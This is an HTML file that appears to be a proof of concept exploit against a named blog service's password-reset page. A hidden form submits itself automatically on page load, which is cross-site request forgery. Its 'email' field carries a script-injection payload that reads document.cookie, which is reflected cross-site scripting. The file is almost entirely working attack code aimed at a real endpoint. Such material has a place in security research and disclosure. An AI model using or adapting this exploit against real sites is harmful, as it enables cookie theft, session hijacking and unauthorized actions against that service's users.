blogforgotpassword.html (Source)

<script type="text/javascript" src="jquery-1.7.1.min.js"></script>

<form method="POST" action="http://iloapp.opol.com/blog/blog?ResetPassword">
	<input type="hidden" name="email" value='	"><body onload="alert(document.cookie)"></body>'>
	<input type="hidden" name="x" value='48'>
	<input type="hidden" name="y" value="15">
	<input type="submit" id="csrfgo">
</form>

<script type="text/javascript">
	$(document).ready(function() {
		$("#csrfgo").click();
	});
</script>